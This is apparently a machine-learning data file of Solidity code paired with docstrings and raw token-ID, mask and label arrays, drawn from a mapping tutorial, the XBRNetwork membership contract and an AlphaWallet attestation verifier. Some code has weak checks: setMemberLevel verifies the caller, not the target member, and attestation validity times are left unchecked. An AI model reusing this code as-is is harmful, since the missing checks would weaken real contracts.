15577,
16220,
63,
12,
16414,
548,
15,
21,
13,
5717,
1769,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
// Mapping --> Like Object (In JS 💛) or Dictionnaries (In Python 🐍)
// How to declare a mapping (simple and nested)
// Set, Get, Delete
contract Mapping {
// 1 LookUp whereas in a array can take x(lim 1->len) operations
mapping(string => bool) private users; // {"alice": true, "bob": true, "charlie": true}
mapping(address => uint256) public balances; // {0x1: 50Eth, 0x2: 25Eth ...}
mapping(address => mapping(address => bool)) public isFriend; // {0x1: {0x3: true, 0x2a: true}, 0x3: {0x1: true}}
constructor() {
balances[msg.sender] = 123; // set balances at index msg.sender eq to 123 --> {..., 0x1: 123, ...}
uint256 bal = balances[msg.sender]; // get at index msg.sender
uint256 bal2 = balances[address(1)]; // Not set so return default val for uint: 0
balances[msg.sender] += 456; // Update (You can also reassign) --> 123 + 456 = 579
delete balances[msg.sender]; // -> Like Array, delete reset to default val here 0 --> {..., 0x1: 0, ...}
// Note that you can't remove an index, only reset to 0 (Anyway all index are set to 0, so it's like an remove)
isFriend[msg.sender][address(1)] = true;
}
}
| {"alice": true, "bob": true, "charlie": true}
| mapping(string => bool) private users; | 7,270,322 | [
1,
16711,
287,
1812,
6877,
638,
16,
315,
70,
947,
6877,
638,
16,
315,
3001,
549,
73,
6877,
638,
97,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
2874,
12,
1080,
516,
1426,
13,
3238,
3677,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: Apache-2.0
///////////////////////////////////////////////////////////////////////////////
//
// Copyright (C) 2018-2021 Crossbar.io Technologies GmbH and contributors.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
///////////////////////////////////////////////////////////////////////////////
pragma solidity >=0.6.0 <0.8.0;
pragma experimental ABIEncoderV2;
// https://openzeppelin.org/api/docs/math_SafeMath.html
// import "openzeppelin-solidity/contracts/math/SafeMath.sol";
// import "@openzeppelin/contracts/math/SafeMath.sol";
import "./XBRMaintained.sol";
import "./XBRTypes.sol";
import "./XBRToken.sol";
/**
* The `XBR Network <https://github.com/crossbario/xbr-protocol/blob/master/contracts/XBRNetwork.sol>`__
* contract is the on-chain anchor of and the entry point to the XBR protocol.
*/
contract XBRNetwork is XBRMaintained {
// Add safe math functions to uint256 using SafeMath lib from OpenZeppelin
using SafeMath for uint256;
/// Event emitted when a new member registered in the XBR Network.
event MemberRegistered (address indexed member, uint registered, string eula, string profile, XBRTypes.MemberLevel level);
/// Event emitted when an existing member is changed (without leaving the XBR Network).
event MemberChanged (address indexed member, uint changed, string eula, string profile, XBRTypes.MemberLevel level);
/// Event emitted when a member leaves the XBR Network.
event MemberRetired (address member, uint retired);
/// Event emitted when the payable status of a coin is changed.
event CoinChanged (address indexed coin, address operator, bool isPayable);
/// Special addresses used as "any address" marker in mappings (eg coins).
address public constant ANYADR = 0xFFfFfFffFFfffFFfFFfFFFFFffFFFffffFfFFFfF;
/// Limit to how old a pre-signed transaction is accetable (eg in "registerMemberFor" and similar).
uint256 public PRESIGNED_TXN_MAX_AGE = 1440;
/// Chain ID of the blockchain this contract is running on, used in EIP712 typed data signature verification.
uint256 public verifyingChain;
/// Verifying contract address, used in EIP712 typed data signature verification.
address public verifyingContract;
/// IPFS multihash of the `XBR Network EULA <https://github.com/crossbario/xbr-protocol/blob/master/EULA>`__.
string public eula = "QmUEM5UuSUMeET2Zo8YQtDMK74Fr2SJGEyTokSYzT3uD94";
/// XBR network contributions from markets for the XBR project, expressed as a fraction of the total amount of XBR tokens.
uint256 public contribution;
/// Address of the XBR Networks' own ERC20 token for network-wide purposes.
XBRToken public token;
/// Address of the `XBR Network Organization <https://xbr.network/>`__.
address public organization;
/// Current XBR Network members ("member directory").
mapping(address => XBRTypes.Member) public members;
/// ERC20 coins which can specified as a means of payment when creating a new data market.
mapping(address => mapping(address => bool)) public coins;
/// Create the XBR network.
///
/// @param networkToken The token to run this network itself on. Note that XBR data markets can use
/// any ERC20 token (enabled in the ``coins`` mapping of this contract) as
/// a means of payment in the respective market.
/// @param networkOrganization The XBR network organization address.
constructor (address networkToken, address networkOrganization) public {
// read chain ID into temp local var (to avoid "TypeError: Only local variables are supported").
uint256 chainId;
assembly {
chainId := chainid()
}
verifyingChain = chainId;
verifyingContract = address(this);
token = XBRToken(networkToken);
coins[networkToken][ANYADR] = true;
emit CoinChanged(networkToken, ANYADR, true);
contribution = token.totalSupply() * 30 / 100;
organization = networkOrganization;
uint256 registered = block.timestamp;
// technically, the creator of the XBR network contract instance is a XBR member (by definition).
members[msg.sender] = XBRTypes.Member(registered, "", "", XBRTypes.MemberLevel.VERIFIED, "");
emit MemberRegistered(msg.sender, registered, "", "", XBRTypes.MemberLevel.VERIFIED);
}
/// Register the sender of this transaction in the XBR network. All XBR stakeholders, namely data
/// providers ("sellers"), data consumers ("buyers") and data market operators, must be registered
/// in the XBR network.
///
/// @param networkEula Multihash of the XBR EULA being agreed to and stored as one ZIP file archive on IPFS.
/// @param memberProfile Optional public member profile: the IPFS Multihash of the member profile stored in IPFS.
function registerMember (string memory networkEula, string memory memberProfile) public {
_registerMember(msg.sender, block.number, networkEula, memberProfile, "");
}
/// Register the specified new member in the XBR Network. All XBR stakeholders, namely data
/// providers ("sellers"), data consumers ("buyers") and data market operators, must be registered
/// in the XBR network.
///
/// Note: This version uses pre-signed data where the actual blockchain transaction is
/// submitted by a gateway paying the respective gas (in ETH) for the blockchain transaction.
///
/// @param member Address of the registering (new) member.
/// @param registered Block number at which the registering member has created the signature.
/// @param networkEula Multihash of the XBR EULA being agreed to and stored as one ZIP file archive on IPFS.
/// @param memberProfile Optional public member profile: the IPFS Multihash of the member profile stored in IPFS.
/// @param signature EIP712 signature, signed by the registering member.
function registerMemberFor (address member, uint256 registered, string memory networkEula,
string memory memberProfile, bytes memory signature) public {
// verify signature
require(XBRTypes.verify(member, XBRTypes.EIP712MemberRegister(verifyingChain, verifyingContract,
member, registered, networkEula, memberProfile), signature), "INVALID_MEMBER_REGISTER_SIGNATURE");
// signature must have been created in a window of PRESIGNED_TXN_MAX_AGE blocks from the current one
require(registered <= block.number && (block.number <= PRESIGNED_TXN_MAX_AGE ||
registered >= (block.number - PRESIGNED_TXN_MAX_AGE)), "INVALID_REGISTERED_BLOCK_NUMBER");
_registerMember(member, registered, networkEula, memberProfile, signature);
}
function _registerMember (address member, uint256 registered, string memory networkEula, string memory profile, bytes memory signature) private {
// check that sender is not already a member
require(uint8(members[member].level) == 0, "MEMBER_ALREADY_REGISTERED");
// check that the EULA the member accepted is the one we expect
require(keccak256(abi.encode(networkEula)) ==
keccak256(abi.encode(eula)), "INVALID_EULA");
// remember the member
members[member] = XBRTypes.Member(registered, networkEula, profile, XBRTypes.MemberLevel.ACTIVE, signature);
// notify observers of new member
emit MemberRegistered(member, registered, networkEula, profile, XBRTypes.MemberLevel.ACTIVE);
}
/// Unregister the sender of this transaction from the XBR network.
function unregisterMember () public {
_unregisterMember(msg.sender, block.number, "");
}
/// Unregister the specified member from the XBR Network.
///
/// Note: This version uses pre-signed data where the actual blockchain transaction is
/// submitted by a gateway paying the respective gas (in ETH) for the blockchain transaction.
///
/// @param member Address of the unregistering (existing) member.
/// @param retired Block number at which the unregistering member has created the signature.
/// @param signature EIP712 signature, signed by the unregistering member.
function unregisterMemberFor (address member, uint256 retired, bytes memory signature) public {
// verify signature
require(XBRTypes.verify(member, XBRTypes.EIP712MemberUnregister(verifyingChain, verifyingContract,
member, retired), signature), "INVALID_SIGNATURE");
// signature must have been created in a window of PRESIGNED_TXN_MAX_AGE blocks from the current one
require(retired <= block.number && (block.number <= PRESIGNED_TXN_MAX_AGE ||
retired >= (block.number - PRESIGNED_TXN_MAX_AGE)), "INVALID_BLOCK_NUMBER");
_unregisterMember(member, retired, signature);
}
function _unregisterMember (address member, uint256 retired, bytes memory signature) private {
// check that sender is currently a member
require(members[member].level == XBRTypes.MemberLevel.ACTIVE ||
members[member].level == XBRTypes.MemberLevel.VERIFIED, "MEMBER_NOT_REGISTERED");
// remember the member left the network
members[member].level = XBRTypes.MemberLevel.RETIRED;
// notify observers of retired member
emit MemberRetired(member, retired);
}
/// Set the XBR network organization address.
///
/// @param networkToken The token to run this network itself on. Note that XBR data markets can use
/// any ERC20 token (enabled in the ``coins`` mapping of this contract) as
/// a means of payment in the respective market.
function setNetworkToken (address networkToken) public onlyMaintainer returns (bool) {
if (networkToken != address(token)) {
coins[address(token)][ANYADR] = false;
token = XBRToken(networkToken);
coins[networkToken][ANYADR] = true;
return true;
} else {
return false;
}
}
/// Set the XBR network organization address.
///
/// @param networkOrganization The XBR network organization address.
function setNetworkOrganization (address networkOrganization) public onlyMaintainer returns (bool) {
if (networkOrganization != address(organization)) {
organization = networkOrganization;
return true;
} else {
return false;
}
}
/// Set (override manually) the member level of a XBR Network member. Being able to do so
/// currently serves two purposes:
///
/// - having a last resort to handle situation where members violated the EULA
/// - being able to manually patch things in error/bug cases
///
/// @param member The address of the XBR network member to override member level.
/// @param level The member level to set the member to.
function setMemberLevel (address member, XBRTypes.MemberLevel level) public onlyMaintainer returns (bool) {
require(uint(members[msg.sender].level) != 0, "NO_SUCH_MEMBER");
if (members[member].level != level) {
members[member].level = level;
emit MemberChanged(member, block.timestamp, members[member].eula, members[member].profile, level);
return true;
} else {
return false;
}
}
/// Set ERC20 coins as usable as a means of payment when opening data markets.
///
/// @param coin The address of the ERC20 coin to change.
/// @param isPayable When true, the coin can be specified when opening a new data market.
function setCoinPayable (address coin, address operator, bool isPayable) public onlyMaintainer returns (bool) {
if (coins[coin][operator] != isPayable) {
coins[coin][operator] = isPayable;
emit CoinChanged(coin, operator, isPayable);
return true;
} else {
return false;
}
}
/// Set the network contribution which is deducted from the market fees defined by a market operator.
///
/// @param networkContribution Network contribution, defined as the ratio of given number of
/// tokens and the total token supply.
/// @return Flag indicating whether the contribution value was actually changed.
function setContribution (uint256 networkContribution) public onlyMaintainer returns (bool) {
require(networkContribution >= 0 && networkContribution <= token.totalSupply(), "INVALID_CONTRIBUTION");
if (contribution != networkContribution) {
contribution = networkContribution;
return true;
} else {
return false;
}
}
}
| Unregister the specified member from the XBR Network. Note: This version uses pre-signed data where the actual blockchain transaction is submitted by a gateway paying the respective gas (in ETH) for the blockchain transaction. @param member Address of the unregistering (existing) member. @param retired Block number at which the unregistering member has created the signature. @param signature EIP712 signature, signed by the unregistering member. verify signature signature must have been created in a window of PRESIGNED_TXN_MAX_AGE blocks from the current one | function unregisterMemberFor (address member, uint256 retired, bytes memory signature) public {
require(XBRTypes.verify(member, XBRTypes.EIP712MemberUnregister(verifyingChain, verifyingContract,
member, retired), signature), "INVALID_SIGNATURE");
require(retired <= block.number && (block.number <= PRESIGNED_TXN_MAX_AGE ||
retired >= (block.number - PRESIGNED_TXN_MAX_AGE)), "INVALID_BLOCK_NUMBER");
_unregisterMember(member, retired, signature);
}
| 1,056,424 | [
1,
30076,
326,
1269,
3140,
628,
326,
1139,
7192,
5128,
18,
3609,
30,
1220,
1177,
4692,
675,
17,
5679,
501,
1625,
326,
3214,
16766,
2492,
353,
9638,
635,
279,
6878,
8843,
310,
326,
17613,
16189,
261,
267,
512,
2455,
13,
364,
326,
16766,
2492,
18,
225,
3140,
5267,
434,
326,
10232,
310,
261,
11711,
13,
3140,
18,
225,
325,
2921,
3914,
1300,
622,
1492,
326,
10232,
310,
3140,
711,
2522,
326,
3372,
18,
225,
3372,
512,
2579,
27,
2138,
3372,
16,
6726,
635,
326,
10232,
310,
3140,
18,
3929,
3372,
3372,
1297,
1240,
2118,
2522,
316,
279,
2742,
434,
7071,
21049,
67,
16556,
50,
67,
6694,
67,
2833,
4398,
628,
326,
783,
1245,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
10232,
4419,
1290,
261,
2867,
3140,
16,
2254,
5034,
325,
2921,
16,
1731,
3778,
3372,
13,
1071,
288,
203,
203,
3639,
2583,
12,
60,
7192,
2016,
18,
8705,
12,
5990,
16,
1139,
7192,
2016,
18,
41,
2579,
27,
2138,
4419,
30076,
12,
8705,
310,
3893,
16,
3929,
310,
8924,
16,
203,
5411,
3140,
16,
325,
2921,
3631,
3372,
3631,
315,
9347,
67,
26587,
8863,
203,
203,
3639,
2583,
12,
1349,
2921,
1648,
1203,
18,
2696,
597,
261,
2629,
18,
2696,
1648,
7071,
21049,
67,
16556,
50,
67,
6694,
67,
2833,
747,
203,
5411,
325,
2921,
1545,
261,
2629,
18,
2696,
300,
7071,
21049,
67,
16556,
50,
67,
6694,
67,
2833,
13,
3631,
315,
9347,
67,
11403,
67,
9931,
8863,
203,
203,
3639,
389,
318,
4861,
4419,
12,
5990,
16,
325,
2921,
16,
3372,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/5/0x19A4010E859ca3d10F0d928C6665F9a9E3BE4B22/sources/contracts/collateral/Collateral.sol | * @notice Returns the balance of `account`'s `product` collateral account @param account Account to return for @param product Product to return for @return The balance of the collateral account/ | function collateral(address account, IProduct product) public view returns (UFixed18) {
return _products[product].balances[account];
}
| 1,912,777 | [
1,
1356,
326,
11013,
434,
1375,
4631,
11294,
87,
1375,
5896,
68,
4508,
2045,
287,
2236,
225,
2236,
6590,
358,
327,
364,
225,
3017,
8094,
358,
327,
364,
327,
1021,
11013,
434,
326,
4508,
2045,
287,
2236,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
4508,
2045,
287,
12,
2867,
2236,
16,
467,
4133,
3017,
13,
1071,
1476,
1135,
261,
57,
7505,
2643,
13,
288,
203,
3639,
327,
389,
18736,
63,
5896,
8009,
70,
26488,
63,
4631,
15533,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/* Attestation decode and validation */
/* AlphaWallet 2021 */
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
contract VerifyAttestation {
address payable owner;
bytes1 constant BOOLEAN_TAG = bytes1(0x01);
bytes1 constant INTEGER_TAG = bytes1(0x02);
bytes1 constant BIT_STRING_TAG = bytes1(0x03);
bytes1 constant OCTET_STRING_TAG = bytes1(0x04);
bytes1 constant NULL_TAG = bytes1(0x05);
bytes1 constant OBJECT_IDENTIFIER_TAG = bytes1(0x06);
bytes1 constant EXTERNAL_TAG = bytes1(0x08);
bytes1 constant ENUMERATED_TAG = bytes1(0x0a); // decimal 10
bytes1 constant SEQUENCE_TAG = bytes1(0x10); // decimal 16
bytes1 constant SET_TAG = bytes1(0x11); // decimal 17
bytes1 constant SET_OF_TAG = bytes1(0x11);
bytes1 constant NUMERIC_STRING_TAG = bytes1(0x12); // decimal 18
bytes1 constant PRINTABLE_STRING_TAG = bytes1(0x13); // decimal 19
bytes1 constant T61_STRING_TAG = bytes1(0x14); // decimal 20
bytes1 constant VIDEOTEX_STRING_TAG = bytes1(0x15); // decimal 21
bytes1 constant IA5_STRING_TAG = bytes1(0x16); // decimal 22
bytes1 constant UTC_TIME_TAG = bytes1(0x17); // decimal 23
bytes1 constant GENERALIZED_TIME_TAG = bytes1(0x18); // decimal 24
bytes1 constant GRAPHIC_STRING_TAG = bytes1(0x19); // decimal 25
bytes1 constant VISIBLE_STRING_TAG = bytes1(0x1a); // decimal 26
bytes1 constant GENERAL_STRING_TAG = bytes1(0x1b); // decimal 27
bytes1 constant UNIVERSAL_STRING_TAG = bytes1(0x1c); // decimal 28
bytes1 constant BMP_STRING_TAG = bytes1(0x1e); // decimal 30
bytes1 constant UTF8_STRING_TAG = bytes1(0x0c); // decimal 12
bytes1 constant CONSTRUCTED_TAG = bytes1(0x20); // decimal 28
bytes1 constant LENGTH_TAG = bytes1(0x30);
bytes1 constant VERSION_TAG = bytes1(0xA0);
bytes1 constant COMPOUND_TAG = bytes1(0xA3);
uint256 constant IA5_CODE = uint256(bytes32("IA5")); //tags for disambiguating content
uint256 constant DEROBJ_CODE = uint256(bytes32("OBJID"));
event Value(uint256 indexed val);
event RtnStr(bytes val);
event RtnS(string val);
uint256 constant curveOrderBitLength = 254;
uint256 constant curveOrderBitShift = 256 - curveOrderBitLength;
uint256 constant pointLength = 65;
uint256 callCount;
constructor()
{
owner = payable(msg.sender);
callCount = 0;
}
struct Length {
uint decodeIndex;
uint length;
}
function verifyTicketAttestation(bytes memory attestation) public pure returns(address payable subject, bytes memory ticketId, address issuer, address attestor)
{
bytes memory attestationData;
bytes memory preHash;
uint256 decodeIndex = 0;
uint256 length = 0;
uint256 messageLength = 0;
uint256 hashIndex = 0;
/*
Attestation structure:
Length, Length
- Version,
- Serial,
- Signature type,
- Issuer Sequence,
- Validity Time period Start, finish
*/
(length, decodeIndex) = decodeLength(attestation, 1); //924
(length, hashIndex) = decodeLength(attestation, decodeIndex+1); //168
(messageLength, decodeIndex) = decodeLength(attestation, hashIndex+1); //1F
preHash = copyDataBlock(attestation, hashIndex, (messageLength + decodeIndex) - hashIndex);
(length, decodeIndex) = decodeLength(attestation, decodeIndex + messageLength + 1);
(length, attestationData, decodeIndex) = decodeElementOffset(attestation, decodeIndex + length, 1); // Signature
//pull issuer key
issuer = recoverSigner(keccak256(preHash), attestationData);
(subject, attestor) = verifyPublicAttestation(attestation, decodeIndex);
(length, decodeIndex) = decodeLength(preHash, 1);
(length, decodeIndex) = decodeLength(preHash, decodeIndex + 1);
(length, ticketId, decodeIndex) = decodeElement(preHash, decodeIndex + length); // public key
}
function verifyPublicAttestation(bytes memory attestation, uint256 nIndex) private pure returns(address payable subject, address attestorAddress)
{
bytes memory attestationData;
bytes memory preHash;
uint256 decodeIndex = 0;
uint256 length = 0;
/*
Attestation structure:
Length, Length
- Version,
- Serial,
- Signature type,
- Issuer Sequence,
- Validity Time period Start, finish
*/
(length, nIndex) = decodeLength(attestation, nIndex+1); //nIndex is start of prehash
(length, decodeIndex) = decodeLength(attestation, nIndex+1); // length of prehash is decodeIndex (result) - nIndex
//obtain pre-hash
preHash = copyDataBlock(attestation, nIndex, (decodeIndex + length) - nIndex);
nIndex = (decodeIndex + length); //set pointer to read data after the pre-hash block
(length, decodeIndex) = decodeLength(preHash, 1); //read pre-hash header
(length, decodeIndex) = decodeLength(preHash, decodeIndex + 1); // Version
(length, decodeIndex) = decodeLength(preHash, decodeIndex + 1 + length); // Serial
(length, decodeIndex) = decodeLength(preHash, decodeIndex + 1 + length); // Signature type (9) 1.2.840.10045.2.1
(length, decodeIndex) = decodeLength(preHash, decodeIndex + 1 + length); // Issuer Sequence (14) [[2.5.4.3, ALX]]], (Issuer: CN=ALX)
//TODO: Read and check validity times
(length, decodeIndex) = decodeLength(preHash, decodeIndex + 1 + length); // Timestamp
(length, decodeIndex) = decodeLength(preHash, decodeIndex + 1 + length); // ID ref
(length, decodeIndex) = decodeLength(preHash, decodeIndex + 1 + length); // User Key block
(length, decodeIndex) = decodeLength(preHash, decodeIndex + 1); // read ZK block length
(length, attestationData, decodeIndex) = decodeElementOffset(preHash, decodeIndex + length, 2); // public key
subject = payable(publicKeyToAddress(attestationData));
(length, decodeIndex) = decodeLength(attestation, nIndex + 1); // Signature algorithm ID (9) 1.2.840.10045.2.1
(length, attestationData, nIndex) = decodeElementOffset(attestation, decodeIndex + length, 1); // Signature (72) : #0348003045022100F1862F9616B43C1F1550156341407AFB11EEC8B8BB60A513B346516DBC4F1F3202204E1B19196B97E4AECD6AE7E701BF968F72130959A01FCE83197B485A6AD2C7EA
//return attestorPass && subjectPass && identifierPass;
attestorAddress = recoverSigner(keccak256(preHash), attestationData);
}
